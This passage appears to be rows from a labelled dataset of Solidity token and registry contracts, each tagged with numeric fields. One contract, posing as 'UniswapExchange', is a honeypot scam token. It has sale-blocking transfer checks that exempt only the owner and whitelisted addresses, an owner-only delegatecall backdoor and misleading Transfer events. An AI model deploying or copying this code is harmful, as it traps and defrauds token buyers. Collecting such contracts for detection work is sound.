emit _ChallengeFailed(_listingHash, challengeID, challenges[challengeID].rewardPool, challenges[challengeID].totalTokens);
}
else {
resetListing(_listingHash);
require(token.transfer(challenges[challengeID].challenger, reward));
emit _ChallengeSucceeded(_listingHash, challengeID, challenges[challengeID].rewardPool, challenges[challengeID].totalTokens);
}
}
function whitelistApplication(bytes32 _listingHash) private {
if (!listings[_listingHash].whitelisted) {
emit _ApplicationWhitelisted(_listingHash);
}
listings[_listingHash].whitelisted = true;
}
function resetListing(bytes32 _listingHash) private {
Listing storage listing = listings[_listingHash];
if (listing.whitelisted) {
emit _ListingRemoved(_listingHash);
} else {
emit _ApplicationRemoved(_listingHash);
}
address owner = listing.owner;
uint unstakedDeposit = listing.unstakedDeposit;
delete listings[_listingHash];
if (unstakedDeposit > 0){
require(token.transfer(owner, unstakedDeposit));
}
}
modifier onlyIfCurrentRegistry() {
require(parameterizer.getNewRegistry() == address(0));
_;
}
modifier onlyIfOutdatedRegistry() {
require(parameterizer.getNewRegistry() != address(0));
_;
}
function listingExists(bytes32 listingHash) public view returns (bool) {
return listings[listingHash].owner != address(0);
}
function migrateListing(bytes32 listingHash) onlyIfOutdatedRegistry public {
require(listingExists(listingHash));
require(!challengeExists(listingHash));
address newRegistryAddress = parameterizer.getNewRegistry();
SupercedesRegistry newRegistry = SupercedesRegistry(newRegistryAddress);
Listing storage listing = listings[listingHash];
require(newRegistry.canReceiveListing(
listingHash, listing.applicationExpiry,
listing.whitelisted, listing.owner,
listing.unstakedDeposit, listing.challengeID
));
token.approve(newRegistry, listing.unstakedDeposit);
newRegistry.receiveListing(
listingHash, listing.applicationExpiry,
listing.whitelisted, listing.owner,
listing.unstakedDeposit, listing.challengeID
);
delete listings[listingHash];
emit _ListingMigrated(listingHash, newRegistryAddress);
}
} | 0 | 186 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 4,211 |
pragma solidity ^0.5.0;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
pragma solidity ^0.5.0;
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
pragma solidity ^0.5.0;
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
pragma solidity ^0.5.0;
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
pragma solidity ^0.5.0;
contract ERC20Mintable is ERC20, MinterRole {
function mint(address to, uint256 value) public onlyMinter returns (bool) {
_mint(to, value);
return true;
}
}
pragma solidity ^0.5.0;
contract ERC20Burnable is ERC20 {
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
pragma solidity ^0.5.0;
contract CnabToken is ERC20, ERC20Detailed, ERC20Mintable, ERC20Burnable {
constructor()
ERC20Burnable()
ERC20Mintable()
ERC20Detailed('Cannabium', 'CNAB', 18)
ERC20()
public
{
mint(0x243A839E28d64C2f7BaaDC91FaC22B3E79A2f6e4, 8339235460000000000000000);
_mint(0xb5e74585a14C44f3819420831e9532F916a4f389, 2756850000000000000000000);
_mint(0x071B03261b23b40753FAc37156d3Ff5d1ac74944, 1260800100000000000000000);
_mint(0x03FBe5234AD39F9778dbc0F5036cC7F2974aB89c, 1250000100000000000000000);
_mint(0x27EcF302F15d065Ff43Dcfc40Fe2c64C1e7Dd4C5, 1250000100000000000000000);
_mint(0xeB40cA0524710301c1E32a56229044E9675847cC, 1250000000000000000000000);
_mint(0x2E6F4E999cda38C1B7b1eDd2cE1Aef1F070ebFB4, 1250000000000000000000000);
_mint(0xF73e47f9812c4114bEf95a7892DA0c55c7F07337, 1250000000000000000000000);
_mint(0x3b989F8a8e328abD2fe639e36D10403E7cE6184E, 1037425380000000000000000);
_mint(0x995938EbaB9B3A91052F6E18D6f8a2341571B78E, 900000400000000000000000);
_mint(0xB0C0EF9bc23E4be189AF0d7128151BEaE842Bb6B, 600000000000000000000000);
_mint(0xa8eA553C1571528cD6fD4D2c7F17B3034B3A6CF3, 550000900000000000000000);
_mint(0x2d8Be983C7933883372793861394D89E65A93B19, 540000200000000000000000);
_mint(0x3353cd7cdA61648323624b4BeF9dfBde54Ed14aD, 500000800000000000000000);
_mint(0x2f6804d3927589a74651d4dBD64AB5BCC70CBd28, 500000400000000000000000);
_mint(0x2c7226a0c80885baccE1AD0e9ea73a558595FE25, 500000300000000000000000);
_mint(0x1ffd044183d272ad5d5F57eF54ef0991A1fcd77b, 250000700000000000000000);
_mint(0x2929C9e2934cC476Ec31a8Fc26F4cc2C4F6DcE92, 250000700000000000000000);
_mint(0xbb7A1f75B2919fb2c6818DCebAb54254da59f911, 250000000000000000000000);
_mint(0x65946d8D2E9c4882F6d0FEAED542008114f42EEB, 178755820000000000000000);
_mint(0xf07901B57970bB1aC572Aa8162D2036Be617C3cc, 178000300000000000000000);
_mint(0x3170Cb947C5199e225FDa23E1CD86b37d2E966d5, 137175200000000000000000);
_mint(0xDf5E38Faabb01CC35E4863d45641c834318C9a06, 125000900000000000000000);
_mint(0x22460f2C87E21898dB5C491629441E5810d98C7A, 125000300000000000000000);
_mint(0x28202C5b73Afe5E88355D1bF4f821eDba89C8449, 102875100000000000000000);
_mint(0x701F933E1A5d96801D24fa92f1E9D340A372a6FB, 75000400000000000000000);
_mint(0xaf207382Fb4Eedfb12f21d07cA3902Dc9b9F3C4f, 30000100000000000000000);
_mint(0x5A850CfB96f47A4713EF9681055df93143FB6bBA, 24192290000000000000000);
_mint(0xE4561BF6D5017D354f9B53500FE8BDa6E7F6180C, 18000700000000000000000);
_mint(0x805eF1C293013847Ee51D160DE2600AecdB381Ae, 5836950000000000000000);
}
} | 1 | 4,111 |
pragma solidity ^0.4.23;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract XPUBToken is CappedToken, PausableToken {
string public constant name = "X PUBLIC FUND";
string public constant symbol = "XPUB";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 0;
uint256 public constant MAX_SUPPLY = 30 * 10000 * 10000 * (10 ** uint256(decimals));
constructor() CappedToken(MAX_SUPPLY) public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function mint(address _to, uint256 _amount) onlyOwner canMint whenNotPaused public returns (bool) {
return super.mint(_to, _amount);
}
function finishMinting() onlyOwner canMint whenNotPaused public returns (bool) {
return super.finishMinting();
}
function transferOwnership(address newOwner) onlyOwner whenNotPaused public {
super.transferOwnership(newOwner);
}
function() payable public {
revert();
}
} | 1 | 2,058 |
pragma solidity ^0.4.11;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
modifier onlyPayloadSize(uint size) {
require(msg.data.length >= size + 4) ;
_;
}
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public onlyPayloadSize(2 * 32) returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
modifier onlyPayloadSize(uint size) {
require(msg.data.length >= size + 4) ;
_;
}
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3 * 32) returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract DmlToken is StandardToken, Pausable{
using SafeMath for uint;
string public constant name = "DML Token";
uint8 public constant decimals = 18;
string public constant symbol = 'DML';
uint public constant MAX_TOTAL_TOKEN_AMOUNT = 330000000 ether;
address public minter;
uint public endTime;
mapping (address => uint) public lockedBalances;
modifier onlyMinter {
assert(msg.sender == minter);
_;
}
modifier maxDmlTokenAmountNotReached (uint amount){
assert(totalSupply.add(amount) <= MAX_TOTAL_TOKEN_AMOUNT);
_;
}
function DmlToken(address _minter, uint _endTime){
minter = _minter;
endTime = _endTime;
}
function mintToken(address receipent, uint amount)
external
onlyMinter
maxDmlTokenAmountNotReached(amount)
returns (bool)
{
require(now <= endTime);
lockedBalances[receipent] = lockedBalances[receipent].add(amount);
totalSupply = totalSupply.add(amount);
return true;
}
function claimTokens(address receipent)
public
onlyMinter
{
balances[receipent] = balances[receipent].add(lockedBalances[receipent]);
lockedBalances[receipent] = 0;
}
function lockedBalanceOf(address _owner) constant returns (uint balance) {
return lockedBalances[_owner];
}
function transfer(address _to, uint _value)
public
validRecipient(_to)
returns (bool success)
{
return super.transfer(_to, _value);
}
function approve(address _spender, uint256 _value)
public
validRecipient(_spender)
returns (bool)
{
return super.approve(_spender, _value);
}
function transferFrom(address _from, address _to, uint256 _value)
public
validRecipient(_to)
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
modifier validRecipient(address _recipient) {
require(_recipient != address(this));
_;
}
} | 1 | 3,753 |
pragma solidity ^0.4.11;
contract ERC20Interface {
function totalSupply() constant returns (uint supply);
function balanceOf(address _owner) constant returns (uint balance);
function transfer(address _to, uint _value) returns (bool success);
function transferFrom(address _from, address _to, uint _value) returns (bool success);
function approve(address _spender, uint _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint remaining);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract DeDeMasterContract {
mapping (address => bool) public isDeDeContract;
mapping (address => uint256) public validationTime;
mapping (address => address) public dip;
mapping (address => address) public scs;
mapping (address => address) public issuer;
mapping (address => address) public targetAddress;
mapping (address => address) public bulletAddress;
mapping (address => uint256) public targetAmount;
mapping (address => uint256) public bulletAmount;
event Issue(address indexed dip, address indexed scs, address issuer, address indexed dedeAddress);
event Transfer(address indexed from, address indexed to, address issuer, address indexed dedeAddress);
event Activate(address indexed dip, address indexed scs, address issuer, address indexed dedeAddress);
event Nullify(address indexed dip, address indexed scs, address issuer, address indexed dedeAddress);
address public dedeNetworkAddress;
function DeDeMasterContract(address _dedeNetworkAddress){
dedeNetworkAddress = _dedeNetworkAddress;
}
function changeDedeAddress(address newDedeAddress){
require(msg.sender == dedeNetworkAddress);
dedeNetworkAddress = newDedeAddress;
}
function issue(uint256 _targetAmount, uint256 _bulletAmount, address _targetAddress, address _bulletAddress, uint256 _validationTime, address _issuer) payable {
require(msg.sender == dedeNetworkAddress);
require(now + 1 days < _validationTime);
require(_targetAddress != _bulletAddress);
if(_targetAddress == 0){
require(msg.value >= _targetAmount);
